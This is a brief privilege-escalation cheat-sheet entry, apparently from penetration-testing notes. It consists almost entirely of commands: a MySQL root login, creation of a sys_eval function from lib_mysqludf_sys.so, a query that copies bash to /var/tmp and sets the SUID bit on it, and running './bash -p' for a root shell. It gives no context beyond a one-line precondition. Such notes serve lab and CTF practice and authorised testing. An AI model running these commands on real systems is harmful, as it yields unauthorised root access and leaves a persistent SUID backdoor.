MySQL Root - lib_mysqludf_sys SUID Trick

Privilege Escalation Linux Privesc linux

When MySQL runs as root and lib_mysqludf_sys.so is available:

mysql -uroot -phaslo

show databases;
use members;
CREATE FUNCTION sys_eval RETURNS INT SONAME 'lib_mysqludf_sys.so';
select sys_eval("cp /bin/bash /var/tmp/bash ; chmod u+s /var/tmp/bash");
exit

cd /var/tmp
./bash -p